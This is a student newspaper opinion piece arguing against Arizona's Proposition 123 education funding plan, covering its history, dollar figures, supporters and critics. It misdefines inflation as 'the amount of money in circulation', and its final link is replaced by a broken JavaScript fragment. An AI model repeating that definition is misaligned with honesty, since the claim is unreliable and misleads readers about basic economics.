The Price of Education:

Is Prop 123 Really the Solution for Education Funding?

Kamille Ritchie, Cactus Editor

Election year is here and the White House may not be the only place getting changes. On May 17, a special election will be held in Arizona to determine whether or not Proposition 123 is a go. What is Prop 123, you might ask? It is a K-12 funding proposal that can be used as settlement to a 2010 lawsuit between the state legislature and public schools. The lawsuit was a result of the state’s failure to follow through with Prop. 301. Enacted in 2000, voters approved to have six tenths of a penny sales tax increase go towards K-12 education; the state was required to adjust the base level of per-pupil funding according to inflation. At first, the state complied with the act, at times, providing more than was required. However, when the Great Recession of 2009 occurred the funding stopped.

While the state argues they met the terms of prop 301, they increased funding for school transportation, the schools felt it was not enough. Originally, the courts ruled in favor of the public schools. In 2014, a Maricopa County Court ordered the state to distribute more than $300 million to schools. The state, however, appealed, offering Prop 123 as a compromise. Prop 123 is a plan that can provide additional education funding over the next 10 years to K-12 students by dipping into resources from the general fund and increasing the distributions from the State Trust Land (S.T.L.). The S.T.L. already supports public schools, however, its distribution rate is regulated to 2.5 percent annually; with Prop 123, the rate would increase to 6.9.

If approved, $3.5 billion dollars would be put into Arizona’s schools over the course of 10 years, and $260 million would be available immediately without a catch on how the districts could use it. Basically, it could be used for purposes such as maintenance on buildings, teachers/faculty salaries or technology. The plan will input $50 million annually during the next five and $75 million annually for the following five years, resulting in a total of $625 million. The amount of money each district gets depends on the number of students in the district. If Prop 123 is not approved, the amount of money annually dispersed from the State Land Trust will remain at 2.5 percent. Funding for K-12 schools will also remain the same. With any potential change always comes friction, but that’s expected.

The supporters of Prop 123, feel this proposition is a great solution to immediately add resources to Arizona’s K-12 schools and a better and faster alternative to prolonged appeals processes. There’s vast support from state leaders such as Governor Doug Ducey as well as educators. “Proposition 123 not only provides new money to our classrooms but also sets in place economic safeguards to protect our state and settles the education funding lawsuit that has been hanging over our state for too long,” Governor Ducey mentioned in a separate article.

Many against Prop 123 feel that it is only a temporary solution to our issue with education funding and will only allow our state legislature to use the funds for other projects. It is true, the money will be pooled in the state’s general fund; if the excuse is convincing, it can be used for whatever. “This proposition will change the Arizona Constitution and is inconsistent with the Enabling Act, violates the prudent investor rule, does not protect the Trust Fund from inflation, and will dip into the corpus (principal) of the Fund,” says Arizona State Treasurer, Jeff Dewitt, in a separate article. For an economic 101 review, inflation is the amount of money in circulation; if Prop 123 brings in more money, the same amount of money you currently have will be of less value. It’s interesting, other than Governor Ducey, all previous state treasurers express opposition for Prop 123. For those who may not know, the state treasurer deals with the state’s money; a state treasurer acts as chief banker and money manager. If they’re opposed, something indeed may be afoot. The League of Women Voters also voiced opposition. They feel Prop 123 will not force the state legislature to create a long term plan for funding K-12 education as well as allow the state to ignore Prop. 301.

Wherever you stand on Prop 123, you should know several triggers could allow the Legislature to temporarily reduce the funding: (1) If the increased payout reduces the value of the trust fund. With the increased payout, it is highly likely the value of the trust will diminish; it will be difficult to replenish the trust at the same rate money is being taken out. (2) If the growth in Arizona sales tax revenue and employment falls below 2 percent. Although supporters paint a highly optimistic attitude about the U.S.’s financial future, this country’s economic market is always up and down. (3) If the K-12 portion of the state budget is at least 49% of the general fund. At this time, the K-12 portion of the state budget is at 42%. The money from Prop 123 will be pooled into the state’s general funds; if Governor Ducey goes through with his planned cuts; 49% is a figure that can be reached easily.

Since Prop 123 is a plan for 10 years, the problem of K-12 funding will still be an issue once this has run its course. With the principle of the State Land Trust severely diminished, it’s likely the funding of education in this state will be in worse shape. No matter what, the best thing to do is educate yourself further on the matter. There’s only so much you can fit into an article, so I can’t give you all the facts. I can show you how to get started though. Use this link for more information:‘head’)[0].appendChild(s);